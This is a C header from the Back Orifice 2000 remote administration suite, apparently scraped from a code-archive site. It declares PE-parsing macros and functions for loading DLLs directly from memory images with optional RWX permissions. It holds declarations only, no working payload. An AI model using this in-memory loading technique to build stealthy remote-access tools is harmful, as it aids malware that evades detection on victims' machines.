www.pudn.com > remote_thread.zip > dll_load.h

/*  Back Orifice 2000 - Remote Administration Suite 
    Copyright (C) 1999, Cult Of The Dead Cow 
 
    This program is free software; you can redistribute it and/or modify 
    it under the terms of the GNU General Public License as published by 
    the Free Software Foundation; either version 2 of the License, or 
    (at your option) any later version. 
 
    This program is distributed in the hope that it will be useful, 
    but WITHOUT ANY WARRANTY; without even the implied warranty of 
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
    GNU General Public License for more details. 
 
    You should have received a copy of the GNU General Public License 
    along with this program; if not, write to the Free Software 
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA 
 
	The author of this program may be contacted at dildog@l0pht.com. */ 
 
#ifndef __INC_DLL_LOAD_H 
#define __INC_DLL_LOAD_H 
 
#include 
 
#define NTSIGNATURE(ptr) ((LPVOID)((BYTE *)(ptr) + ((PIMAGE_DOS_HEADER)(ptr))->e_lfanew)) 
#define SIZE_OF_NT_SIGNATURE (sizeof(DWORD)) 
#define PEFHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE)) 
#define OPTHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE+sizeof(IMAGE_FILE_HEADER))) 
#define SECHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER))) 
#define RVATOVA(base,offset) ((LPVOID)((DWORD)(base)+(DWORD)(offset))) 
#define VATORVA(base,offset) ((LPVOID)((DWORD)(offset)-(DWORD)(base))) 
 
#define SIZE_OF_PARAMETER_BLOCK 4096 
#define IMAGE_PARAMETER_MAGIC 0xCDC31337 
#define MAX_DLL_PROCESSES 256 
#define DLL_ATTACH 0 
#define DLL_DETACH 1 
 
// NEW FLAGS 
#define REBIND_IMAGE_IMPORTS 0x00000100 
#define RWX_PERMISSIONS 0x00000200 
#define FORCE_LOAD_NEW_IMAGE 0x00000400 
 
// Internal functions 
BOOL MapDLLFromImage(void *pDLLFileImage, void *pMemoryImage); 
BOOL PrepareDLLImage(void *pMemoryImage, DWORD dwImageSize, BOOL bResolve, BOOL bRebind); 
BOOL ProtectDLLImage(void *pMemoryImage, BOOL bRWX); 
 
HMODULE LoadDLLFromImage(void *pDLLFileImage, WCHAR *svMappingName, DWORD dwFlags); 
HMODULE WINAPI LoadDLLExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags); 
HMODULE WINAPI LoadDLLExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags); 
HMODULE WINAPI LoadDLLW(LPCWSTR lpLibFileName); 
HMODULE WINAPI LoadDLLA(LPCSTR lpLibFileName); 
BOOL WINAPI FreeDLL(HMODULE hLibModule); 
 
 
BOOL WINAPI CheckTlsSectionExist( HMODULE hImage ); 
 
 
HMODULE WINAPI LoadImageExW( LPCWSTR lpFileName, HANDLE hFile, DWORD dwFlags ); 
HMODULE WINAPI LoadImageExA( LPCSTR lpFileName, HANDLE hFile, DWORD dwFlags ); 
 
#endif